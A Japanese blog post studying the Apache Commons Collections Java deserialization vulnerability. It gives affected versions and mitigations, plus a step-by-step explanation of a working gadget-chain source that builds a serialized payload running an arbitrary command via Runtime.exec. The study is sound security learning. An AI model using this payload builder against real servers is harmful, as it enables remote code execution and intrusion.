Edited at

[Java] Commons Collections の「リモートから任意のコマンドが実行できる脆弱性」のお勉強

More than 3 years have passed since last update.


目的

参考(Commons Collections):

- Apache Commons - Collections

- Wikipedia: Apache Commons Collections


脆弱性概要


発生条件


  • JavaSE 5.0 以降が対象?

  • Commons Collections 3.0~3.2.1 あるいは 4.0 がクラスパスにある

  • シリアライズされたオブジェクトを外部から喰わせることができる

これだけかな?


対策方法(案)

最大のポイントは Commons Collections の InvokerTransformer なんでしょうね。

これを無効化させれば良いみたい。

Commons Collections の Jar から削除するとか、対策済みのクラスをクラスパスの前の方に差し込むとか?

詳細はその手のサイトなどでお調べください。

【追記】

新しくリリースされた Commons Collections 3.2.2 では、システムプロパティで指定しない限り org.apache.commons.collections.functors パッケージの以下クラスのシリアライズを無効化する対応をしているみたいですね。


  • CloneTransformer

  • ForClosure

  • InstantiateFactory

  • InstantiateTransformer

  • InvokerTransformer

  • PrototypeFactory$PrototypeCloneFactory

  • PrototypeFactory$PrototypeSerializationFactory

  • WhileClosure

もしなんらかの理由でライブラリを最新化できない場合には、個別にこの8クラスを無効化すればいいんですかね。


攻撃ソース(サンプル)

元ネタのところにおおよそのソースが載っていますし、詳細なソースは GitHub に公開されています。

自分なりに必要そうなところを最小限だけ切り出してみました。


CommonsCollectionsTest.java

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

public class CommonsCollectionsTest {

public static InvocationHandler getObject(String command) throws Exception {
// 【手順1】まずは普通の LazyMap を作成する
Transformer transformerChain = new ChainedTransformer(
new Transformer[] { new ConstantTransformer(1) });
Map<?, ?> innerMap = new HashMap<>();
Map<?, ?> lazyMap0 = LazyMap.decorate(innerMap, transformerChain);

// 【手順2】lazyMap0 をアノテーションの値として、アノテーション呼び出しハンドラーを生成する
InvocationHandler handler1 = createMemoizedInvocationHandler(lazyMap0);

// 【手順3】生成したハンドラーを Map の Proxy にする
Map<?, ?> mapProxy = (Map<?, ?>) Proxy.newProxyInstance(
CommonsCollectionsTest.class.getClassLoader(),
new Class<?>[] { Map.class },
handler1);

// 【手順4】さらに「ProxyにしたMapを値としたアノテーション呼び出しハンドラー」を生成する
InvocationHandler handler2 = createMemoizedInvocationHandler(mapProxy);

// 【手順5】指定コマンドを実行するロジックを生成
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { command }),
new ConstantTransformer(1) };

// 【手順6】LazyMap の初期化ロジックを、コマンドを実行するロジックに差し替える
setFieldValue(transformerChain, "iTransformers", transformers);

return handler2;
}

/** 指定されたマップをアノテーションの定義値とする、アノテーション呼び出しハンドラーを作る */
private static InvocationHandler createMemoizedInvocationHandler(Map<?, ?> map) throws Exception {
Class<?> handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = handler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
return (InvocationHandler) constructor.newInstance(Override.class, map);
}

/** フィールドに値を設定 */
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
field.set(obj, value);
}

/** フィールドを取得 */
private static Field getField(Class<?> clazz, String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
// 指定クラスになければ、再帰的に親クラスから取得
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}



攻撃準備

まずは、順番に追いかけていきます。


【手順1】

【手順1】で普通の LazyMap を生成します。

LazyMap は Commons Collectons の機能の1つで、存在しないキーで get() されたときに遅延初期化する Map コレクションですね。

インスタンス名は lazyMap0 とします。


【手順2】

次に【手順2】でこのマップを元に「アノテーション呼び出しハンドラー」の handler1 を生成します。

いきなり難易度高いですが。

アノテーション呼び出しハンドラー( sun.reflect.annotation.AnnotationInvocationHandler )は、公開されていない Java 内部のクラスのようです。

アノテーションで定義された情報を取得するための Proxy 用なんでしょうね。

ここでは @Override アノテーションの「アノテーション呼び出しハンドラー」を生成しています(アノテーションの種類は何でも良いみたいですね)。

そしてアノテーションの定義値として lazyMap0 を設定しています。

もしこの handler1 を呼び出すと、呼び出そうとしたメソッド名をアノテーションの属性名だと思って lazyMap0get() してしまいます。

「アノテーション呼び出しハンドラー」は、本来の目的とは関係なく readObject()invoke() の中で Map にアクセスするという仕様のため悪用されただけみたいですね。

似たようなことをするクラスが他にあれば、代わりに使うことも可能かもしれません。

今回の攻撃に関係しそうな部分だけを抽出すると、以下のようになると思います。 memberValueslazyMap0 を登録しています。


AnnotationInvocationHandler.java

package sun.reflect.annotation;

// ...
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
// ...
this.memberValues = memberValues;
}

public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
// ...
Object result = memberValues.get(member);
// ...
return result;
}

// ...

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// ...
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// ...
}
// ...
}
}



【手順3】

【手順3】では生成したハンドラー handler1 をもとに、Map の Proxy である mapProxy を生成します。

これは java.lang.reflect.Proxyjava.lang.reflect.InvocationHandler が分かっていれば、理解は難しくないかな。

プロキシー( java.lang.reflect.Proxy )は、任意のインタフェースを実装した代理インスタンスを動的に生成する機能です。そして代理応答するクラスが先ほどの呼び出しハンドラー( java.lang.reflect.InvocationHandler )になります。

つまり、この mapProxy に対して何かメソッドを呼び出すと( get() でも entrySet() でも、その他 Map のメソッドならなんでも)、 handler1 を呼び出してしまうわけですね。


【手順4】

【手順4】ではさらに、mapProxyをアノテーションの定義値とした「アノテーション呼び出しハンドラー」の handler2 を生成しています。

だんだん頭が混乱してきますが。


【手順5】

【手順5】では、指定したコマンドを実行するロジックを生成します。

これがキーポイントで ChainedTransformerInvokerTransformer を使って任意のコマンドを実行してしまうわけです。

問題の InvokerTransformer はリフレクションを使ってデータを変換するというものです。

Map の初期値を求めるロジックは、仮にラムダ式で表すなら以下のような内容ですね。

Supplier<Integer> f = () -> {

Runtime.class.getMethod("getRuntime").invoke(null).exec(command);
return 1;
}


【手順6】

【手順6】は lazyMap0 の中に設定した transformerChain の中身を、【手順5】で作った任意のコマンドを実行できるロジックに無理やり変えてしまっています。


被害状況確認

最終的に【手順4】で作った handler2 をシリアライズして、攻撃対象のサイトに送り込むことになります。


デシリアライズ

では攻撃対象のサーバが handler2 をデシリアライズしたらどうなるか?

handler2 は「アノテーション呼び出しハンドラー」ですので、デシリアライズ時には AnnotationInvocationHandler#readObject() が呼び出されます。

AnnotationInvocationHandler#readObject() の中で memberValues.entrySet() が呼び出されます。

handler2memberValues は、【手順3】で生成した mapProxy が設定されています。

そして mapProxy.entrySet() が呼び出されると、Proxy の呼び出しハンドラーである handler1 が呼び出されます。

handler1entrySet() の代わりに呼び出されると、 メソッド名 "entrySet" をアノテーション名だと思って lazyMap0get() します。

この時点で lazyMap0 は空なので get() されると、初期値を生成しようとします。

lazyMap0 の初期値を求めるロジックは、【手順5】で生成した任意のコマンドを実行するというものです。

アウチ!

デシリアライズの最中に、任意のコマンドを実行されてしまいますね。


まとめ(てない)

いろいろと難しいですね。

今回は AnnotationInvocationHandler + LasyMap + InvokerTransformer の組み合わせで攻撃を仕掛けていますが、他の組み合わせも可能な気がします。

さすがに直接 readObject() の中で任意のロジックを動かせるケースは無いと思うので、今回のように java.lang.reflect.Proxy でアダプタして2段階にする必要はあるのでしょうね。

同じ方法で攻撃するなら以下の要素が必要なのかな。


  • 要素1:データを元に任意の処理ができる


    • コード(Perm)ではなくデータ(Heap)の情報で任意の処理ができる

    • リフレクションとか(他にもあるかも)

    • 今回のケースでは InvokerTransformer



  • 要素2:任意のクラス


    • シリアライズ可能なこと

    • 内部で抱えたデータをもとに要素1を呼び出すメソッド

    • 今回のケースでは LasyMapLasyMap#get()



  • 要素3:InvocationHandler の具象クラス


    • シリアライズ可能なこと

    • 要素2をメンバ変数としてもつ


    • invoke() 内で要素2のメソッドを呼び出すこと

    • 今回のケースでは AnnotationInvocationHandler



  • 要素4:任意のクラス


    • シリアライズ可能なこと


    • readObject() の中で自分のメンバ変数のメソッドを呼び出している

    • 今回のケースでは AnnotationInvocationHandlerMap#entrySet()



  • 要素5:要素4のメンバ変数


    • インタフェースの型として定義されていること

    • Proxy 先として要素3の InvocationHandler を呼び出して矛盾がないこと

    • 今回のケースでは Map である AnnotationInvocationHandler#memberValues



今回は、要素3と要素4が同じ AnnotationInvocationHandler だけど、別に同じにしないといけないわけじゃない。要素4は InvocationHandler である必要もない。

同様に、要素2と要素5はどちらも Map だけど、これも別物でもかまわない。

そう考えると、要素3~要素5はいろいろな代替案がありそうです。

そして、最大の問題であるはずの要素1ですが、これって他にもないんですかね?

Lisp 系の「プログラムコードもデータ」的な話もよく聞きますし。

後知恵で「 InvokerTransformer が危険だ」というのは簡単ですが、何が危険で何が安全なのか判断は難しいですね。